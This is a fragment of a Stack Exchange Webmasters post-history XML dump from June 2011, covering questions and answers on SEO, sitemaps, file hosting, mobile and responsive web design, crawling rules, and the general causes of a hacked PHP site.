http://i.stack.imgur.com/AeCfA.jpg" />
  <row Id="36607" PostHistoryTypeId="2" PostId="15485" RevisionGUID="7ccd4fba-fbd3-428b-8a41-081ac8022753" CreationDate="2011-06-17T12:00:58.890" UserId="5026" Text="Does anyone know of a Windows equivalent of [localtunnel][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://progrium.com/localtunnel/" />
  <row Id="36608" PostHistoryTypeId="1" PostId="15485" RevisionGUID="7ccd4fba-fbd3-428b-8a41-081ac8022753" CreationDate="2011-06-17T12:00:58.890" UserId="5026" Text="Windows equivalent of localtunnel" />
  <row Id="36609" PostHistoryTypeId="3" PostId="15485" RevisionGUID="7ccd4fba-fbd3-428b-8a41-081ac8022753" CreationDate="2011-06-17T12:00:58.890" UserId="5026" Text="&lt;ssl&gt;" />
  <row Id="36610" PostHistoryTypeId="2" PostId="15486" RevisionGUID="f7ef1d12-80c3-48e8-8f97-767d96c86c9d" CreationDate="2011-06-17T12:02:47.360" UserId="1253" Text="It *shouldn't* have any effect on your pages' rankings. After all, its purpose is to tell the search engines what pages you would like to have indexed and where to find them. It has nothing to do with relevancy. But you see things like the [Sitemap Paradox][1] and realize it is far from a perfect system.&#xD;&#xA;&#xD;&#xA;Having said that, the odds are it isn't your sitemap that caused any problems. Your drop in rankings seems to coincide with the &quot;Panda&quot; update Google has recently run. If your content is very similar to or exactly the same as content on other sites it probably has been devalued by Google. If this isn't the case it can be difficult to tell why they dropped as there are so many factors in ranking pages that narrowing it down to one thing is very difficult. It's even possible that your competitors just got better and you stayed the same.&#xD;&#xA;&#xD;&#xA;If your results do not change soon I would recommend switching back to the old script and see if your rankings revert to their previous place. If they do then you know the sitemap is to blame.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4803/the-sitemap-paradox" />
  <row Id="36611" PostHistoryTypeId="2" PostId="15487" RevisionGUID="a142b6e6-6295-4b32-b639-fe15991202e6" CreationDate="2011-06-17T12:06:20.537" UserId="1643" Text="The Web Proxy application for [Opera Unite][1] allows you to do this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unite.opera.com/applications/" />
  <row Id="36612" PostHistoryTypeId="6" PostId="15481" RevisionGUID="32fd4866-6594-4e95-85cd-88ecf1482ffe" CreationDate="2011-06-17T12:06:34.487" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;sitemap&gt;&lt;serps&gt;" />
  <row Id="36613" PostHistoryTypeId="2" PostId="15488" RevisionGUID="07325b98-75e3-40be-9af8-7edf26eff72d" CreationDate="2011-06-17T12:10:32.007" UserId="7198" Text="[Showoff.io](https://showoff.io) is a similar service that works on Windows (setup instructions [here](https://showoff.io/support)). It costs $1/day or $5/month." />
  <row Id="36614" PostHistoryTypeId="25" PostId="15485" RevisionGUID="f1e70919-8789-4e1c-beae-514b3ecc85bd" CreationDate="2011-06-17T12:24:23.157" Comment="http://twitter.com/#!/StackWebmasters/status/81698700040216576" />
  <row Id="36615" PostHistoryTypeId="2" PostId="15489" RevisionGUID="30b2d053-c1e5-44a7-a334-1d96e11fa05d" CreationDate="2011-06-17T12:33:44.607" UserId="5026" Text="One of my clients is a business consultant, and stores powerpoint presentations on her website for conference attendees to download after a conference.&#xD;&#xA;&#xD;&#xA;There are 91 files totalling 111MB.&#xD;&#xA;&#xD;&#xA;I want to host these outside of my own web hosting account, to save disk space and bandwidth.&#xD;&#xA;&#xD;&#xA;Any recommendations on (hopefully free) providers?&#xD;&#xA;&#xD;&#xA;I just signed up for a free web hosting account with host-ed, and they required a domain be attached to the account." />
  <row Id="36616" PostHistoryTypeId="1" PostId="15489" RevisionGUID="30b2d053-c1e5-44a7-a334-1d96e11fa05d" CreationDate="2011-06-17T12:33:44.607" UserId="5026" Text="external website storage" />
  <row Id="36617" PostHistoryTypeId="3" PostId="15489" RevisionGUID="30b2d053-c1e5-44a7-a334-1d96e11fa05d" CreationDate="2011-06-17T12:33:44.607" UserId="5026" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;bandwidth&gt;&lt;cloud-hosting&gt;" />
  <row Id="36618" PostHistoryTypeId="2" PostId="15490" RevisionGUID="a091d202-3d56-4614-a91a-1f22e2c88916" CreationDate="2011-06-17T12:37:57.437" UserId="8373" Text="After a recurring profile is enabled for a product, the product becomes what’s called a “nominal item.” Nominal items do not differ from regular products in terms of catalog navigation, layered navigation, price indexing, RSS, and so on until they are added to the shopping cart. Then they differ from regular products in the following way:&#xD;&#xA;&#xD;&#xA;    Nominal items are not added to regular totals (taxes, subtotal, and grand total).&#xD;&#xA;    Gift cards, store credit, and reward points are not applied to nominal items.&#xD;&#xA;    Subtotal, tax, shipping, and other nominal charges are separately calculated for a nominal item.&#xD;&#xA;    All nominal totals are summed into the nominal grand total.&#xD;&#xA;    Payment methods available for nominal products are limited to PayPal Express Checkout only.&#xD;&#xA;    The list of available shipping methods during the shopping cart checkout is restricted to the fixed only (Fixed, Table Rates, and Free).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can read more about the Magento recurring profile here.&#xD;&#xA;&#xD;&#xA;http://www.magentocommerce.com/knowledge-base/entry/working-with-recurring-profiles/" />
  <row Id="36619" PostHistoryTypeId="2" PostId="15491" RevisionGUID="494ed776-22e1-49e2-9d48-ce41ba9cd619" CreationDate="2011-06-17T12:42:15.120" UserId="1643" Text="Dropbox.com gives you 2Gb free. You can make some of it available to other people." />
  <row Id="36620" PostHistoryTypeId="2" PostId="15492" RevisionGUID="72f7eab7-6d97-43f5-b9ea-25997a04ee59" CreationDate="2011-06-17T12:43:44.970" UserId="8374" Text="when I looked at the eBay mobile web site, I realized, they have two versions:&#xD;&#xA;&#xD;&#xA;01) mobileweb.ebay.com &gt; this seems to be the newer one&#xD;&#xA;02) m.ebay.com &gt; looks older&#xD;&#xA;&#xD;&#xA;My question is:&#xD;&#xA;&#xD;&#xA;Is there a reason for it. Is the web site at m.ebay.com maybe more compatible with older devices?" />
  <row Id="36621" PostHistoryTypeId="1" PostId="15492" RevisionGUID="72f7eab7-6d97-43f5-b9ea-25997a04ee59" CreationDate="2011-06-17T12:43:44.970" UserId="8374" Text="Mobile web design: ebay mobile" />
  <row Id="36622" PostHistoryTypeId="3" PostId="15492" RevisionGUID="72f7eab7-6d97-43f5-b9ea-25997a04ee59" CreationDate="2011-06-17T12:43:44.970" UserId="8374" Text="&lt;mobile&gt;&lt;ebay&gt;" />
  <row Id="36623" PostHistoryTypeId="2" PostId="15493" RevisionGUID="41fb343f-9d15-4441-91bc-413818249285" CreationDate="2011-06-17T12:54:58.880" UserId="8375" Text="You need 10GB of free storage?&#xD;&#xA;&#xD;&#xA;Those are rather large for PowerPoint. Also be sure in PowerPoint to double click any image and hit compress and uncheck &quot;Apply only to this picture&quot;. The file size should drop dramatically.&#xD;&#xA;&#xD;&#xA;After compression you could use:&#xD;&#xA;&#xD;&#xA;Windows Skydrive (25GB) but with 50MB max file size&lt;br /&gt;&#xD;&#xA;Dropbox (2GB)" />
  <row Id="36624" PostHistoryTypeId="2" PostId="15494" RevisionGUID="d99c20b3-a855-4b38-a1f2-2f587bf63c76" CreationDate="2011-06-17T13:08:52.010" UserId="1253" Text="It looks like mobileweb.ebay.com is the newer mobile site and is designed to better fit the varying screen resolutions and viewport sizes that phones and tablets offer. m.ebay.com looks like it was designed to fit cell phones only. When viewing mobileweb.ebay.com I get a message saying it is in beta for my browser so I'm guessing mobileweb.ebay.com is going to replace m.ebay.com once they are sure it works properly across mobile devices." />
  <row Id="36625" PostHistoryTypeId="5" PostId="15492" RevisionGUID="584d73e3-c5b6-4c9b-b2b0-2e319bb5b6a0" CreationDate="2011-06-17T13:09:53.303" UserId="1253" Comment="modified tags, minor text edits" Text="when I looked at the eBay mobile web site, I realized, they have two versions:&#xD;&#xA;&#xD;&#xA;mobileweb.ebay.com &gt; this seems to be the newer one  &#xD;&#xA;m.ebay.com &gt; looks older&#xD;&#xA;&#xD;&#xA;Is there a reason for it? Is the web site at m.ebay.com maybe more compatible with older devices?" />
  <row Id="36629" PostHistoryTypeId="5" PostId="15484" RevisionGUID="64af377a-8bfd-4f8f-a3e1-674c31c0eac2" CreationDate="2011-06-17T13:25:28.677" UserId="7198" Comment="added 51 characters in body" Text="**Responsive design** (also known as 'adaptive' design), where the same web page presents the best version of two or more hand-crafted layouts depending on the browser width, is the strongest option for most websites. To see why, it helps to look at all of the options available to web designers:&#xD;&#xA;&#xD;&#xA;###Fixed layouts&#xD;&#xA;A fixed page width, where the content width is the same regardless of the browser width, offers a uniform look and feel across devices and can require less coding, thinking, and maintenance than more flexible designs.&#xD;&#xA;&#xD;&#xA;Some feel that fixed-width layouts are relics of a bygone era, where people craved pixel perfection and uniform looks across all browsers. Andy Clarke, author of [Hardboiled Web Design,](http://hardboiledwebdesign.com/) feels that this way of thinking is dead:&#xD;&#xA;&#xD;&#xA;&gt; &quot;In the past it was standard practice&#xD;&#xA;&gt; to fight hard to create a website that&#xD;&#xA;&gt; looked and worked the same across all&#xD;&#xA;&gt; browsers — no matter what their&#xD;&#xA;&gt; capabilities. To do this meant making&#xD;&#xA;&gt; compromises and avoiding using&#xD;&#xA;&gt; technologies not supported by all&#xD;&#xA;&gt; browsers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Is this hardboiled?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Don’t kid yourself, sweet cheeks. This&#xD;&#xA;&gt; isn’t the way to evolve our craft or&#xD;&#xA;&gt; build a better web. This kind of&#xD;&#xA;&gt; old-fashioned thinking holds us back.&#xD;&#xA;&gt; It forces us to make excuses for not&#xD;&#xA;&gt; doing what we know is the right thing.&#xD;&#xA;&gt; The worst that we, as the current&#xD;&#xA;&gt; custodians of the web, can do is to&#xD;&#xA;&gt; allow anything to limit what’s&#xD;&#xA;&gt; possible.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Andy Clarke, *Hardboiled Web Design,* p6 [PDF Edition [available here](http://hardboiledwebdesign.com/)]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;While some see fixed layouts as the height of laziness, fixed-width designs are still chosen by very smart design teams over fluid or adaptive layouts. [Apple,](http://apple.com) for example, currently serves the same layout to iMacs as it does to iPads and iPhones. Why does the company responsible for bringing mobile web browsing to the masses not optimise its website for mobile devices?&#xD;&#xA;&#xD;&#xA;Because it doesn't think it needs to.&#xD;&#xA;&#xD;&#xA;Instead of adapting its website for small screens, Apple built hardware and software to comfortably handle wide websites on those screens. Apple thinks that a 'mobile optimised' experience is best delivered in a native application, not in a browser window. That's why it offers the *Apple Store* app instead of serving a mobile-optimised Web store. And it's why it encourage publishers to offer magazine apps over tailored websites. Apple's current web design philosophy is clear: one layout to rule them all works fine. For everything else, there's an app for that.&#xD;&#xA;&#xD;&#xA;For this reason alone, some would argue that fixed layouts remain as relevant as ever; they'd say that fluid and adaptive layouts are just stop gaps while we wait for mobile browser software to improve, and HTML and JavaScript to evolve and tempt developers away from siloed app stores.&#xD;&#xA;&#xD;&#xA;In my opinion, though, pinch-tap-drag-scrolling your way around the Web for any length of time on a mobile device isn't much fun at all, even on an iPhone. If you believe that the best Web experience is the one that makes reading, publishing, and interacting with websites a pleasure instead of a chore, regardless of the device you're using, you have to concede at some point that serving content tailored to each visitor is worth considering.&#xD;&#xA;&#xD;&#xA;###Fluid layouts&#xD;&#xA;Fluid layouts, where the page's width flows to fill the screen (often up to an imposed maximum width), promise a better experience across different platforms by delivering content at a width more suited to the viewport.&#xD;&#xA;&#xD;&#xA;In practice, fluid layouts cause more problems than they solve, as noted by Cameron Moll in this quip:&#xD;&#xA;&#xD;&#xA;&gt; &quot;...fluid designs solve every layout&#xD;&#xA;&gt; problem much the same as computers&#xD;&#xA;&gt; make offices paperless i.e. they&#xD;&#xA;&gt; don’t.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Cameron Moll, [&quot;Should all sites be fluid?&quot;,](http://www.cameronmoll.com/archives/001224.html) September 2006&#xD;&#xA;&#xD;&#xA;When you adopt a fluid layout, you relinquish control of your design and accept that text will rewrap, images will reflow, line lengths will vary unpredictably, text, images, and navigation elements may crush together at small widths, and columns will jump and float around just to spite you.&#xD;&#xA;&#xD;&#xA;A fluid layout, some might say, is also a lazy option. It is the shotgun approach to adaptive web design. Instead of providing a tailored experience with three or four carefully considered fixed-width designs, you're offering an unpredictable experience in the hope that it might work on big and small screens, and hopefully plug all the gaps that you haven't fully considered in between.&#xD;&#xA;&#xD;&#xA;This doesn't make fluid layouts useless. There are ways to make them work. The [456 Berea St](http://www.456bereastreet.com/) blog, for example, adopts a fluid layout up to a given width, after which it uses a fixed one for anything bigger. And at really small widths, the sidebar drops away to use a single column that makes it easier to read on small screens. But this is no longer a fluid layout. It is something better. It is a *responsive* design.&#xD;&#xA;&#xD;&#xA;###Responsive layouts&#xD;&#xA;A 'responsive' or 'adaptive' layout -- where the same web page presents one version of two or more crafted layouts depending on the visitor's browser width -- is a key part of progressive enhancement, which aims to make a website look the best it can for every visitor.&#xD;&#xA;&#xD;&#xA;Choosing to adopt an adaptive layout is 'excellent customer service', in the words of Aaron Gustafson, the author of [Adaptive Web Design.](http://easy-readers.net/) If we design our sites well, he says, visitors should be presented with a perfectly crafted experience without realising that we're making a fuss of them:&#xD;&#xA;&#xD;&#xA;&gt; &quot;As web designers and developers, we should strive to be as good at our job as that attentive, unobtrusive waiter, but it isn’t a simple task. Just as a waiter has no idea if a customer coming through the door will require frequent refills or few, we have no way of knowing a particular user’s needs when they arrive on our site. Instead, we must rise to meet those needs. If we’re really good, we can do so without our customers even realizing we’re making special considerations for them. Thankfully, with progressive enhancement’s user and content-focused approach (as opposed to graceful degradation’s newest-browser approach), this is easily achievable.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Aaron Gustafson, *Adaptive Web Design,* p12 [PDF edition [available here](http://easy-readers.net/)]&#xD;&#xA;&#xD;&#xA;The realisation that our job as web designers is to adapt to our visitors and not force them to adapt to us -- as Apple might have us believe -- is a fairly recent development in Web design. It is, in my opinion, a renaissance of sorts: we have finished cherry picking the good habits from years of print design. Now we must throw away the shackles imposed by working within a predefined space on the printed page.&#xD;&#xA;&#xD;&#xA;Where once we treated the browser as a fixed canvas, we're now accepting that no defined canvas exists at all, and this is becoming ever more clear from the huge mix of screen sizes you're no doubt starting to see in your visitor stats. Instead of treating each new device as a unique 'page size' to target (and then having to rally troops when a new device comes out) we can follow more future-proof conventions.&#xD;&#xA;&#xD;&#xA;We can think in terms of bands -- 'large', 'medium', and 'small' -- instead of thinking about specific phones and tablets, then design sites to look their best in those bands. Whatever new devices come out, they will fit into one band or another, and -- even if they're right on the border between two bands -- we still have more control over the experience than if we'd used a fixed or fluid layout.&#xD;&#xA;&#xD;&#xA;In [Responsive Web Design,](http://www.abookapart.com/products/responsive-web-design) Ethan Marcotte offers this call to arms:&#xD;&#xA;&#xD;&#xA;&gt; &quot;We need to let go.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Rather than creating disconnected&#xD;&#xA;&gt; designs, each tailored to a particular&#xD;&#xA;&gt; device or browser, we should instead&#xD;&#xA;&gt; treat them as facets of the same&#xD;&#xA;&gt; experience. In other words, we can&#xD;&#xA;&gt; craft sites that are not only more&#xD;&#xA;&gt; flexible, but that can adapt to the&#xD;&#xA;&gt; media that renders them.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In short, we need to practice&#xD;&#xA;&gt; *responsive web design.* We can embrace&#xD;&#xA;&gt; the flexibility inherent to the web,&#xD;&#xA;&gt; without surrendering the control we&#xD;&#xA;&gt; require as designers. All by embedding &#xD;&#xA;&gt; standards-based technologies in&#xD;&#xA;&gt; our work, and by making a slight&#xD;&#xA;&gt; change in our philosophy toward online&#xD;&#xA;&gt; design.&quot;&#xD;&#xA;&gt;&#xD;&#xA;&gt; &amp;mdash; Ethan Marcotte, *Responsive Web Design,* p8 [PDF edition [available here](http://www.abookapart.com/products/responsive-web-design)]&#xD;&#xA;&#xD;&#xA;But what bands do you use? Ethan Marcotte recommends the following three in *Responsive Web Design.* (To learn what they do and understand the caveats, you might like to [grab the book.](http://www.abookapart.com/products/responsive-web-design))&#xD;&#xA;&#xD;&#xA;    @media screen and (max-width: 768px) { &#xD;&#xA;    ...&#xD;&#xA;    } @media screen and (max-width: 520px) {&#xD;&#xA;    ...&#xD;&#xA;    } @media screen and (min-width: 1200px) {&#xD;&#xA;    ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There are also a range of CSS frameworks designed to help build adaptive websites, including Joni Korpi's [Less Framework.](http://lessframework.com/)&#xD;&#xA;&#xD;&#xA;In short, when it's done well, adaptive design is a joy to behold and experience both as a web designer and a communal garden web user. Take the site of Japanese firm [Information Architects](http://www.informationarchitects.jp/en/), for example: &#xD;&#xA;&#xD;&#xA;###On an iPhone&#xD;&#xA;&#xD;&#xA;![Information Architects iPhone screenshot][1]&#xD;&#xA;&#xD;&#xA;###On an iPad&#xD;&#xA;[![Information Architects iPad screenshot][2]](http://i.stack.imgur.com/1iYWM.jpg)&#xD;&#xA;&#xD;&#xA;###On an iMac&#xD;&#xA;[![Information Architects iMac screenshot][3]](http://i.stack.imgur.com/AeCfA.jpg)&#xD;&#xA;&#xD;&#xA;Just as Aaron Gustafson predicted, you don't even know you're being catered for until you see the designs on the same page.&#xD;&#xA;&#xD;&#xA;The experience could hardly be more pleasant in each case; you don't have to think about or interact with the page to start reading the content, spend time wondering why it looks strange on your screen, or zoom in to see navigation elements before you can tap them, because someone already solved those problems for you. And *that* is why responsive design almost always trumps other options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/lLik8.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/1iYWM.jpg&#xD;&#xA;  [3]: http://i.stack.imgur.com/AeCfA.jpg" />
  <row Id="36630" PostHistoryTypeId="5" PostId="15493" RevisionGUID="033fd106-66e8-4e63-842e-fd4f53098f0f" CreationDate="2011-06-17T13:32:41.170" UserId="8375" Comment="deleted 15 characters in body" Text="Those are rather large for PowerPoint. Also be sure in PowerPoint to double click any image and hit compress and uncheck &quot;Apply only to this picture&quot;. The file size should drop dramatically.&#xD;&#xA;&#xD;&#xA;After compression you could use:&#xD;&#xA;&#xD;&#xA;Google Docs (1GB)&#xD;&#xA;Dropbox (2GB)&#xD;&#xA;Windows Skydrive (25GB) but with 50MB max file size&lt;br /&gt;" />
  <row Id="36631" PostHistoryTypeId="17" PostId="15495" RevisionGUID="ee20c80d-4e1c-44b4-9656-aa440bb29822" CreationDate="2011-06-17T13:46:14.173" UserId="-1" Comment="from http://stackoverflow.com/questions/6371465/someone-was-able-to-upload-php-files-without-ftp-access-to-my-server" Text="" />
  <row Id="36632" PostHistoryTypeId="17" PostId="15496" RevisionGUID="147bd149-25b7-4197-911c-27915f834d00" CreationDate="2011-06-17T13:46:14.173" UserId="-1" Comment="from http://stackoverflow.com/questions/6371465/someone-was-able-to-upload-php-files-without-ftp-access-to-my-server" Text="" />
  <row Id="36633" PostHistoryTypeId="2" PostId="15496" RevisionGUID="7e29ff2c-2be8-462e-a889-1dd40641c723" CreationDate="2011-06-17T12:41:02.970" UserDisplayName="Sohnee" Text="Either your FTP wasn't secured like you thought, or you have a upload script somewhere that has a vulnerability, or you have used some third-party code that is malicious.&#xD;&#xA;&#xD;&#xA;Here are some examples...&#xD;&#xA;&#xD;&#xA; 1. FTP isn't secure. It is actually really quite easy to get user names and passwords for FTP accounts as they aren't encrypted. These days, we tend to switch off FTP until we need it available, or lock it down by more than just user name and password (i.e. IP address, SFTP etc).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 1. If you have an &quot;upload&quot; page, you will need to check it for vulnerabilities. These include not requiring a log-in to use the upload page or having plain text user name and password for the login page and if you have the server-side destination as part of the form, people could change the value to publish files to other locations.&#xD;&#xA;&#xD;&#xA; 1. If you have used a free script, like a forum plugin or gallery - do you trust the source. It is a common malicious attack to make people upload a free script that does something that takes a while to write, but with added code that opens your site to attacks, such as writing files to the server or making pages available that allow attacks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36634" PostHistoryTypeId="2" PostId="15495" RevisionGUID="bb296864-8bb3-4116-8f2a-68d4c085cd64" CreationDate="2011-06-16T12:02:47.600" UserDisplayName="Mandeep" Text="I have website in PHP/MYSQL developing using CakePHP framework. Recently it was hacked and someone was able to upload some PHP and JS files and the site was down. The website FTP, control panel etc were all secured. So I am wondering if someone can help that how that person would have been able to do this so that I can have it fixed. It is very critical for me to plugh this asap. Please help. " />
  <row Id="36635" PostHistoryTypeId="1" PostId="15495" RevisionGUID="bb296864-8bb3-4116-8f2a-68d4c085cd64" CreationDate="2011-06-16T12:02:47.600" UserDisplayName="Mandeep" Text="someone was able to upload php files without ftp access to my server" />
  <row Id="36636" PostHistoryTypeId="3" PostId="15495" RevisionGUID="bb296864-8bb3-4116-8f2a-68d4c085cd64" CreationDate="2011-06-16T12:02:47.600" UserDisplayName="Mandeep" Text="&lt;security&gt;&lt;websites&gt;&lt;hacking&gt;" />
  <row Id="36637" PostHistoryTypeId="2" PostId="15497" RevisionGUID="bf700e67-311f-4390-8ffa-b894f4c0d904" CreationDate="2011-06-17T14:07:46.030" UserId="8263" Text="Creating a mockup (you can do this with the help of online tools if you're not sure to physically meet with the developper) might be a good way to proceed, perhaps completed with an explanatory text providing the context, goal and targeted audience for the app.&#xD;&#xA;&#xD;&#xA;Mockups have the huge advantage of expressing many things in a more intuitive and clear way than many words would, and it also helps you to get your ideas straightened out while you build it. &#xD;&#xA;&#xD;&#xA;In my experience that contributes to avoiding getting the developer confused with too long and detailed requirement documents." />
  <row Id="36638" PostHistoryTypeId="6" PostId="15485" RevisionGUID="e445bd15-650f-4f6b-973a-c53c064b3e9c" CreationDate="2011-06-17T15:09:19.957" UserId="1643" Comment="edited tags" Text="&lt;ssl&gt;&lt;proxy&gt;" />
  <row Id="36639" PostHistoryTypeId="2" PostId="15498" RevisionGUID="0e2e7957-05df-474e-8eff-58e121e4a8cc" CreationDate="2011-06-17T15:20:22.580" UserId="3739" Text="We have a product navigation engine that allow our customers to filter products based on attributes (size, color, etc.). We are implementing an upgrade that allows them to use &quot;multi-select&quot; refinements. Basically they can say &quot;show me all the red, blue, and green products&quot;. We want the search engines to crawl just the first page without any refinements. We've set the canonical of the page with refinments on it to the one without any refinements. &#xD;&#xA;&#xD;&#xA;From a system resource standpoint I'm not sure I want google crawling all of those refinements links. The links that those refinements generate can be exponentially different based on the the order of the refinements, how many have been selected, etc. It just seems like a waste for google to try and index those pages. &#xD;&#xA;&#xD;&#xA;Should I put a no-follow tag on those refinement URL's so that google doesn't even crawl them? " />
  <row Id="36640" PostHistoryTypeId="1" PostId="15498" RevisionGUID="0e2e7957-05df-474e-8eff-58e121e4a8cc" CreationDate="2011-06-17T15:20:22.580" UserId="3739" Text="Should I use nofollow on internal links that don't need to be crawled?" />
  <row Id="36641" PostHistoryTypeId="3" PostId="15498" RevisionGUID="0e2e7957-05df-474e-8eff-58e121e4a8cc" CreationDate="2011-06-17T15:20:22.580" UserId="3739" Text="&lt;seo&gt;&lt;google&gt;&lt;crawling&gt;&lt;canonical-url&gt;&lt;nofollow&gt;" />
  <row Id="36642" PostHistoryTypeId="25" PostId="15481" RevisionGUID="10893a17-136d-411e-8003-f4308700426e" CreationDate="2011-06-17T15:24:23.543" Comment="http://twitter.com/#!/StackWebmasters/status/81744001199378433" />
  <row Id="36643" PostHistoryTypeId="2" PostId="15499" RevisionGUID="ec38aee9-07cf-462f-be5b-0bf3c23abaa1" CreationDate="2011-06-17T15:27:42.863" UserId="8009" Text="Nofollow doesn't stop Google from crawling pages, it stops any 'link juice' being passed to those pages.&#xD;&#xA;&#xD;&#xA;Robots.txt is what you want to prevent google from crawling pages.&#xD;&#xA;&#xD;&#xA;http://www.robotstxt.org/robotstxt.html" />
  <row Id="36644" PostHistoryTypeId="2" PostId="15500" RevisionGUID="3aa6a44a-08d0-41a3-8453-956188fc3ee4" CreationDate="2011-06-17T15:28:08.260" UserId="1253" Text="If you're sure Google is reaching the all of your products, and it seems like you are since you're using canonical URLs, then it's a good idea to prevent Google from crawling those pages since all it will do is eat up your bandwidth and server resources.&#xD;&#xA;&#xD;&#xA;Using nofollow on any internal links is a good start. I'd also consider using the [robots meta tag][1] or [x-robots-tag HTTP heade][2]r to tell them not to index it, too. That way you're sure even if they find those URLs through external linking or otherwise that they will definitely not index those page. Blocking them via [robots.txt][3] is also a good thing to since you can [use wildcards to catch the pages with query strings][4], etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.javascriptkit.com/howto/robots2.shtml&#xD;&#xA;  [2]: http://googleblog.blogspot.com/2007/07/robots-exclusion-protocol-now-with-even.html&#xD;&#xA;  [3]: http://code.google.com/web/controlcrawlindex/docs/robots_txt.html&#xD;&#xA;  [4]: http://code.google.com/web/controlcrawlindex/docs/robots_txt.html" />
  <row Id="36651" PostHistoryTypeId="10" PostId="4233" RevisionGUID="37adad0f-c5f3-4998-b4ee-b4ae0415dcc9" CreationDate="2011-06-17T15:36:00.707" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36655" PostHistoryTypeId="17" PostId="15501" RevisionGUID="6c2231cd-8645-4acc-b6b1-b31cd0fb8e3a" CreationDate="2011-06-17T15:43:33.243" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/16333/need-a-host-which-supports-osqa" Text="" />
  <row Id="36656" PostHistoryTypeId="2" PostId="15501" RevisionGUID="7c460803-43d5-4045-a2f1-e68945c03c61" CreationDate="2011-06-17T15:40:26.067" UserDisplayName="Josip Gòdly Zirdum" Text="Hi i'm looking to install OSQA and see how it goes I have a great niche which I think may work real well, but till I get a large enough audience I'd like to use shared hosting then move up to a dedicated or vps hosting...&#xD;&#xA;&#xD;&#xA;Almost all hosts i've looked at don't support something OSQA needs&#xD;&#xA;&#xD;&#xA;I need relatively cheap shared hosting with cpanel. Any recommendations?&#xD;&#xA;&#xD;&#xA;It needs to support&#xD;&#xA;Django&#xD;&#xA;Python markdown&#xD;&#xA;html5lib&#xD;&#xA;Python OpenId&#xD;&#xA;South" />
  <row Id="36657" PostHistoryTypeId="1" PostId="15501" RevisionGUID="7c460803-43d5-4045-a2f1-e68945c03c61" CreationDate="2011-06-17T15:40:26.067" UserDisplayName="Josip Gòdly Zirdum" Text="Need a host which supports OSQA" />
  <row Id="36658" PostHistoryTypeId="3" PostId="15501" RevisionGUID="7c460803-43d5-4045-a2f1-e68945c03c61" CreationDate="2011-06-17T15:40:26.067" UserDisplayName="Josip Gòdly Zirdum" Text="&lt;hosting&gt;&lt;python&gt;&lt;django&gt;" />
  <row Id="36659" PostHistoryTypeId="5" PostId="15501" RevisionGUID="6a91c9bb-5839-4bc5-b918-6e488c98f450" CreationDate="2011-06-17T15:44:43.857" UserId="1253" Comment="modified tags, minor text edits" Text="Hi i'm looking to install OSQA and see how it goes I have a great niche which I think may work real well, but till I get a large enough audience I'd like to use shared hosting then move up to a dedicated or vps hosting...&#xD;&#xA;&#xD;&#xA;Almost all hosts i've looked at don't support something OSQA needs&#xD;&#xA;&#xD;&#xA;I need relatively cheap shared hosting with cpanel. Any recommendations?&#xD;&#xA;&#xD;&#xA;It needs to support:&#xD;&#xA;&#xD;&#xA;- Django&#xD;&#xA;- Python markdown&#xD;&#xA;- html5lib&#xD;&#xA;- Python OpenId&#xD;&#xA;- South" />
  <row Id="36660" PostHistoryTypeId="6" PostId="15501" RevisionGUID="6a91c9bb-5839-4bc5-b918-6e488c98f450" CreationDate="2011-06-17T15:44:43.857" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;django&gt;&lt;python&gt;" />
  <row Id="36661" PostHistoryTypeId="2" PostId="15502" RevisionGUID="ff10e189-3b02-408a-af9c-f1ea358d3a7d" CreationDate="2011-06-17T16:08:33.893" UserId="8133" Text="Host them in a FTP Server with anonymous access. A File Sharing service or in a free hosting service. &#xD;&#xA;&#xD;&#xA;If you choose the FTP Server&#xD;&#xA;--&#xD;&#xA;The ftp service and the files can be placed in the computer of your client which -with internet connection and the appropriate NAT configuration- will allow users to gain access to the files, no matters of its size.&#xD;&#xA;&#xD;&#xA;For information on FTP Services take a look at this: http://superuser.com/questions/296669/how-to-set-up-a-ftp-server-for-multiple-users-with-their-separate-directories/296673#296673 my suggestion and other people's suggestion may be useful for this case.&#xD;&#xA;&#xD;&#xA;The File Sharing Service &#xD;&#xA;--&#xD;&#xA;will force you to maintain dynamic links, unless you have a paid account in RapidShare, Megapload, etc. However, this isn't a kind of a &quot;PRO&quot; solution but it is yet valid.&#xD;&#xA;&#xD;&#xA;There are free hosting services &#xD;&#xA;--&#xD;&#xA;With unlimited monthly file transfer, and unlimited hosting size, but limited file size upload (like the http://x10hosting.com, make sure you read the rules, when I tried to upload a 4 GB File they said: &quot;no-oh! you can't!&quot; LOL!)&#xD;&#xA;&#xD;&#xA;There are other alternatives that I use for those cases, which includes the creation of an HTTP service, with direct http access to the files, which allow you  to give a certain format to the files that you wish to share in public, take a look at: http://geppettvs.servehttp.com/resources.html, http://geppettvs.servehttp.com/documents.html,&#xD;&#xA;and&#xD;&#xA;http://geppettvs.servehttp.com/downloads.html)&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/wfYKU.png" />
